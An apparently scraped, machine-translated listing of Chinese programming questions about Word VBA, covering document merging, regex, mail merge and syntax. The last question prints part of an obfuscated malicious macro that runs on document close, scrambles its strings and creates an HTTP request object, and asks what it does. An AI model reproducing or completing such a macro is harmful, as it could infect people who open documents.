我正在开发一个应用程序,其中我需要删除几个word文档的第一行,合并它们,将它们的表合并为一个并将其放置在顶部,删除所有合并的单个表,然后为合并的表命名。
除了删除单个单词文档的第一行(将合并为一个单词)并将名称字符串放入表格顶部新文档中新生成的表格中,我几乎完成了所有工作。新生成的表将放置在新文档的顶部(这是所有其他文档合并的结果)。
有人可以建议一种方法吗?如果可能的话,删除前两行会有所帮助。
我想检查不同comp上的窗口版本,从而在MS word 2007 vba上执行不同的任务.我尝试了这个代码,我在ms excel 2007 vba上应用并且正在工作,但不是在MS word 2007 vba上.
Dim TheOS As String
Dim WinType As String
TheOS = Application.OperatingSystem
MsgBox ("TheOS ")
Run Code Online (Sandbox Code Playgroud)
在ms word 2007 vba上,它重新编译了一个编译错误:找不到方法或数据成员.我需要什么?
我需要获取子匹配字符串的索引位置值。根据文档,我已经阅读了此正则表达式并了解了FirstIndex属性以获取匹配字符串的位置。
但这仅适用于一维匹配的字符串。我无法申请子FirstIndex比赛。请参考样本匹配
我尝试过这种格式,
Dim myRegExp As Object, match As MatchCollection
Dim matched As String
Set myRegExp = CreateObject("VBScript.RegExp")
myRegExp.pattern = find
If myRegExp.test(text) = True Then
Set match = myRegExp.Execute(text)
Debug.Print match(0).submatches(0) '' this is matched string
Run Code Online (Sandbox Code Playgroud)
我应该在哪里打电话FirstIndex以获得匹配的字符串的位置
输出:
match(0)=>Berry, Brent. (2006). What accounts for race and ethnic differences in Berry,
Brent. parental financial transfers to adult children in the United States? Journal of Family
Issues 37:1583-1604.
submatches(0)=>Berry, Brent.
submatches(6)=>2006
Run Code Online (Sandbox Code Playgroud)
预期的输出: …
我在用户窗体上有一个ToggleButton(TB)和ComboBox(CB),如果TB.value = True,则它必须确定CB.value是什么才能插入正确的文件。
我正在使用if / then语句来解决TB.value(我已经在用户窗体上的其他切换中使用了它,并且它本身已经有效。要解决CB.value,我尝试使用select案例陈述。
当我在if / then语句中使用select case语句运行脚本时,没有得到要插入的文件。
这是我的代码示例,包括如何列出CB进行初始化:
Private Sub CommandButton1_Click()
CreateObject (Word.Application.Documents.Add)
If ToggleButton1.Value = True Then
Select Case File
Case ComboBox1.Value = "File A"
Selection.InsertFile FileName:="C:\File A"
Case ComboBox1.Value = "File B"
Selection.InsertFile FileName:="C:\File B"
End Select
Else:
ToggleButton1.Value = False
End If
Unload Me
End Sub
Private Sub Userform_Initialize()
With ComboBox1
.AddItem "File A", 0
.AddItem "File B", 1
End With
End Sub
Run Code Online (Sandbox Code Playgroud)
如果有人能够帮助我弄清楚为什么我无法使用上述方法插入文件,将不胜感激。如果有更好的方法可以做到这一点,我也很想听听!
先感谢您。
我没有用其他语言看到过这个,但是我在VBA(我刚刚开始使用它)中看到了很多。假设您在Word中有一个表格,希望将行设置为一定的高度。如果你这样做
tbl.Rows.SetHeight InchesToPoints(1), wdRowHeightExactly
Run Code Online (Sandbox Code Playgroud)
表格的行确实设置为72点或1英寸高。但是,如果将参数括在括号中(这是我本能地执行的操作),则VBA会给出错误- expected:=。
我可以通过使用一个抛弃型变量来解决这个问题
x = tbl.Rows.SetHeight (InchesToPoints(1), wdRowHeightExactly)
Run Code Online (Sandbox Code Playgroud)
或者,当然,我不能简单地将参数括在括号中。
Microsoft的SetHeight方法文档没有提及任何返回值,但是无论如何,此行为在整个VBA中都是广泛的。它不特定于SetHeight方法。
我的问题:这叫什么?我应该使用扔掉的变量还是扔掉括号?从微软的角度来看,逻辑是什么?使用我无法想象的结果是否会产生后果(因为它们是未知的未知数)?
我有一个VBScript创建一个表.它循环遍历数组并将信息插入Word文档中的表中.
'Create new word doc
Set objWord = CreateObject("Word.Application")
objWord.Visible = True
Set objDoc = objWord.Documents.Add()
Set objSelection = objWord.Selection
objSelection.Font.Name = "Verdana"
objSelection.Font.Size = "12"
objSelection.TypeText sFileSelected
objSelection.TypeParagraph()
objSelection.Font.Name = "Verdana"
objSelection.Font.Size = "12"
Set objRange = objSelection.Range
Set objFSO = CreateObject("scripting.filesystemobject")
Set objTF = objFSO.opentextfile(logPathAndFileName)
strAll = objTF.readall
arrVar = Split(strAll, vbNewLine)
numcols = 3
objDoc.Tables.Add objRange, UBound(arrVar) - LBound(arrVar) + 1, numcols
Set objTable = objDoc.Tables(1)
For lngrow = LBound(arrVar) To UBound(arrVar)
If lngrow > 0 Then …Run Code Online (Sandbox Code Playgroud) 我正在尝试使用word中的宏将此数据写入二进制文件.如果我运行这个我得到这个错误"执行错误溢出(错误6)"就行了 #handle,CByte("&H"和输出(i))
我怎样才能解决这个问题?谢谢.
Sub HexStringToBinaryFile()
lol50
Dim output() As String
output = Split(lol, "|")
Dim handle As Long
handle = FreeFile
Open "C:\test.bin2" For Binary As #handle
Dim i As Long
For i = LBound(output) To UBound(output)
Put #handle, , CByte("&H" & output(i))
Next i
Close #handle
End Sub
Sub lol50()
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = lol & "00|00|00|00|00|00|00|00|40|00|00|00|00|00|00|00"
lol = …Run Code Online (Sandbox Code Playgroud) 我正在尝试通过单词邮件合并文档的数据源.
我通过邮件合并数据源运行的代码如下所示:
ActiveDocument.MailMerge.DataSource.ActiveRecord = wdFirstRecord
lastDoc = ActiveDocument.MailMerge.DataSource.RecordCount
Run Code Online (Sandbox Code Playgroud)
现在一切都很好.我运行数据源并做我需要做的事情.
现在,由于其他原因,我正在制作此用户的用户使用小帮助函数:Mail Merger Helper(它存在于Word 2010中)
但是当他们使用它时,我的ActiveDocument.MailMerge.DataSource.RecordCount返回-1.这意味着它无法决定数据源中的记录数.我的假设是Mail Merger Helper没有正确设置数据源.
但这阻止我迭代邮件合并(当他使用帮助程序时,他仍然可以激活通常的邮件合并功能,例如查看合并的结果).
怎么了?有没有替代迭代合并,所以我可以逐个获取记录?
当我试图遵循最佳实践时,我将Option Explicit我的代码置于顶部,并声明我的所有变量.但这导致了与另一种使用命名常量的最佳实践的冲突.我该怎么办?
第一个问题是xlFalse; 我对任何其他xl变量都没有任何问题,所以这看起来像一个独立的案例.但我并不是真的担心它,因为我可以放入False并且代码可以工作.(它有效,对吧?)
Sub GetEOP()
'Executes when the user clicks the "Import Data" button, imports the EOP data
GlobalDeclarations
'Open Open dialog, assigns selected file path to wordFileName
wordFileName = Application.GetOpenFilename("Rich Text Files (*.rtf), *.rtf," & "Word Files (*.doc;*.docx), *.doc;*.docx", , "EOP Table File?")
'Stop code if the user clicks Cancel (otherwise, wordFileName would be assigned a value of "False")
If wordFileName = False Then Exit Sub
'Open the selected file …Run Code Online (Sandbox Code Playgroud) 我想知道是否有规则知道循环将完成?
有没有办法改变它?
假设我在多个工作簿上的多个工作表上有多个范围.
我刚在我的工作场所收到这个基于宏的文档,里面有这个恶意的宏代码.
由于vb.net不是我强大的一面,我无法弄清楚它的作用.这是我在文档中找到的唯一宏.
由于代码被强烈混淆,我认为它是恶意的.
Public Sub Document_Close()
On Error GoTo SWuc
ZQZf
Exit Sub
SWuc:
End Sub
Public Sub ZQZf()
Dim vmKT As String
Dim UwuV As String
Set PUQqU = CallByName(ThisDocument, s(61, "pocpiiAtlna", 107), 2)
If CallByName(PUQqU, s(74, "mrUaeeNs", 29), 2) = s(31, "RESU", 35) Then UWaFZ (s(40, "uadrBsm naee", 89))
If CallByName(CallByName(PUQqU, s(41, "liFtneceRse", 109), 2), s(33, "tonCu", 8), 2) < 3 Then UWaFZ (s(72, "sih daByrot", 32))
Set mVEL = qizB(s(271, "5n.tq.ipHetWtnRs1tipe.HWtu", 99))
CallByName mVEL, s(27, "nepO", 11), …Run Code Online (Sandbox Code Playgroud)